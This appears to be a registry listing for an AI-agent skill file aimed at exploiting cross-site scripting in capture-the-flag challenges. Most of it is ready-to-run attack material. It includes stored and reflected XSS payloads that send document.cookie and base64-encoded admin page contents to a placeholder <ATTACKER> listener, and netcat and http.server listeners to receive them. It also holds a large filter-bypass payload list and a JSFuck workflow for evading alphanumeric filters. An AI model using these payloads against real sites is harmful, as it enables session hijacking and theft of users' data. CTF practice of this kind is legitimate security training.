Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
86%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
Critical
Do not install without reviewing
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Pattern A — Bot/Cookie Chain (classic CTF):
/report or /contactdocument.cookie or admin page content to your listener/report endpoint exists, challenge mentions "admin visits", cookie in sessionPattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
/report endpoint (returns 404)alert("XSS") or alert(1) in the response = flagnew_umbrella / error_umbrella in response, alphanumeric filter activeQuick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'The standard CTF XSS workflow:
/report endpoint)# 1. Start a listener to receive exfiltrated data
python3 -m http.server 8888 &
# Or use netcat:
nc -lvnp 8888 &
# 2. Inject stored XSS that exfiltrates cookies
# Basic cookie steal
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
# Image tag (bypasses many filters that block <script>)
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# SVG-based
curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">'
# Fetch admin page content and exfiltrate
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>'
# Fetch sensitive endpoint directly (adjust path to observed app structure)
curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>'
# 3. Trigger the bot to visit the page with injected XSS
curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss'
curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss'
# 4. Check listener output — decode base64 if used
echo '<base64_response>' | base64 -d# If the flag is in the admin's cookie and there's a report/visit endpoint:
# Craft URL with reflected XSS that steals cookies
PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED"# Case variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
# No parentheses
<img src=x onerror="alert`1`">
<img src=x onerror="window['alert'](1)">
# No quotes / no spaces
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
# HTML entity encoding bypass
<img src=x onerror="alert(1)">
# JavaScript URL scheme
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
# Event handlers (bypass <script> tag blocks)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<svg onload=alert(1)>
# Template literal + fetch (modern, avoids quotes)
<img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)>
# Double encoding (if server decodes twice)
%253Cscript%253Ealert(1)%253C/script%253E
# If angle brackets blocked — inject into existing JS context
';alert(1);//
"-alert(1)-"/report, /admin/visit, /contactpython3 -m http.server or nc -lvnp/admin page, /.env endpoint, DOM elementsWhen the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no /report, filter active):
Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:
<input onfocus=alert("XSS") autofocus>, <details open ontoggle=alert("XSS")>, <svg/onload=alert("XSS")>)JSFuck.encode('alert("XSS")', false, true))If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write exploit/CONVERGED.md with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis".
Anti-pattern: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5.
Use when: alphanumeric chars are blocked but []()!+ pass through (Pattern B / Cross series).
# Install jsfuck locally (node is pre-installed in sandbox)
npm install jsfuck 2>/dev/null
# Encode with runInParentScope=true (uses eval, avoids Function constructor)
node -e "
const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js');
const payload = JSFuck.encode('alert(\"XSS\")', false, true);
console.log(payload);
" > /tmp/payload.txt
# Verify payload has zero alphanumeric chars
node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)"
# Submit via curl, grep for flag in response
PAYLOAD=$(cat /tmp/payload.txt)
curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert"Function-constructor TypeError fallback:
If server returns TypeError: Attempting to change the setter of an unconfigurable property, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes.
Fix: use runInParentScope=true (third argument) — switches from Function constructor to eval() injection:
# Default (broken in strict sandboxes): JSFuck.encode(str, false, false) <- Function constructor
# Fixed: JSFuck.encode(str, false, true) <- eval injection
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))"If runInParentScope=true still fails, try raw eval wrapping:
# Encode just the string 'alert("XSS")' then wrap in eval manually
node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')"Win condition: server-side JS evaluator detects alert() call in reflected input. No /report endpoint. No bot. No listener needed.
# Quick alphanumeric filter probe
curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked" # blocked = filter active
curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok" # specials pass = JSFuck viable
# Inject and check response — success indicator appears in HTTP 200 body when alert triggers
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss"Do NOT waste time on:
/report, /contact, /visit endpoints (404 on Cross challenges)python3 -m http.server listeners (no bot will callback)document.cookie exfiltration (cookie setter is frozen — signals Pattern B environment)Some Cross challenges (e.g., filter-bypass example) use a regex like <[a-yA-Y/]+ that blocks < followed by letters a–y / A–Y but excludes z/Z. Probe and bypass:
# Probe whether tag-name first char escapes the filter
curl -sg "$TARGET/page?name=<a>" | grep -i "sorry" # likely blocked (a in range)
curl -sg "$TARGET/page?name=<z>" | grep -i "sorry" # not blocked = z escapes
curl -sg "$TARGET/page?name=<Z>" | grep -i "sorry" # check uppercase Z
curl -sg "$TARGET/page?name=< img>" | grep -i "sorry" # space after `<` may bypass
# Once a non-blocked first-char is found, build payload with valid HTML tag.
# PhantomJS treats unknown tag names as elements; event handlers still fire on
# attribute parsing. Try (URL-encode with python3 urllib.parse.quote):
# <Z onerror=alert("XSS") src=x>
# <Zsvg onload=alert("XSS")>
# If unknown tags don't fire events, use `<svg/onload=...>` style with the
# regex-escaping prefix in front: e.g. some filters with `+` quantifier let
# `<>` (zero letters) slip through followed by `<svg ...>` later in the same
# attribute — test both placements.Key insight: re.findall + + quantifier requires ≥1 matching char immediately after <. Any first character outside the class (digits, whitespace, z/Z, special chars) bypasses the regex entirely.
When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class:
| Filter blocks | Bypass class | Example payloads |
|---|---|---|
<script> tag | Event handler on any element | <svg onload=alert(1)>, <input autofocus onfocus=alert(1)>, <details open ontoggle=alert(1)> |
alert keyword | Property access / obfuscation | window['ale'+'rt'](1), (()=>alert)()(1), top[/al/.source+/ert/.source](1) |
Quotes " and ' | Template literals / charcode | <svg onload=alert`1`>, <img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))> |
( and ) | Template literal call | <svg onload=alert`1`>, setTimeout`alert\x281\x29` |
alert() overridden by prototype | iframe srcdoc / new window | <iframe srcdoc="<script>parent.alert(1)</script>">, <a href=javascript:alert(1)>click</a> |
| Tag whitelist (specific tags only) | Style/CSS injection | <div style="background:url('javascript:alert(1)')"> |
Angle brackets < > | Inject into existing JS context | ';alert(1);//, "-alert(1)-", \;alert(1);//` |
| Prototype chain hardened | Direct assignment | Object.prototype.toString=alert |
Pivot rule: After 3 payloads in the same bypass class all fail → move to the NEXT row. Do not iterate within the same class more than 3 times.
The pivot rule in the filter-bypass table limits depth per class. This rule enforces breadth across classes — no more than 2 payloads from the same bypass class against the same endpoint before rotating.
Track classes in exploit/xss_classes.txt:
# Before each payload attempt
CLASS="event-handler" # name of bypass class for this payload
NTRIED=$(grep -c "^${CLASS}$" exploit/xss_classes.txt 2>/dev/null || echo 0)
if [ "$NTRIED" -ge 2 ]; then
echo "SKIP: ${CLASS} already tried ${NTRIED} times — rotate to a different class"
else
echo "${CLASS}" >> exploit/xss_classes.txt
# ... craft and send payload ...
fiBypass classes to rotate among (try at least 4 per endpoint):
| # | Class name | Representative payloads |
|---|---|---|
| 1 | tag-based | <script>, <svg>, <img onerror=> |
| 2 | event-handler | onload, onerror, onfocus autofocus, ontoggle |
| 3 | javascript-url | <a href="javascript:...">, <iframe src="javascript:..."> |
| 4 | template-literal | alert`1`, String.fromCharCode(...), hex/unicode escapes |
| 5 | iframe-srcdoc | <iframe srcdoc="<script>parent.alert(1)</script>"> |
| 6 | css-style | <div style="background:url('javascript:...')">, expression(...) |
| 7 | js-context-inject | ';alert(1);//, "-alert(1)-", inject into existing script block |
| 8 | prototype-abuse | Object.prototype.toString=alert, DOM clobbering |
Why class-diversity beats deeper iteration: Filter authors typically patch one class at a time. Rotating finds the unpatched class in ~4 attempts; iterating one class to its 10th variant wastes budget on an already-hardened surface.
HARD RULE: If exploit/xss_classes.txt shows ≥4 classes each tried 2× with no bypass — stop manual iteration. Write exploit/CONVERGED.md and return to orchestrator.
| Tool | Purpose |
|---|---|
| python3 -m http.server | Simple HTTP listener for exfiltration (Pattern A only) |
| nc -lvnp | Netcat listener for raw data (Pattern A only) |
| node + jsfuck npm | Alphanumeric filter bypass via JSFuck encoding (Pattern B) |
| XSStrike | Automated XSS detection with WAF bypass |
PurpleAILAB/Decepticon
df87955
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.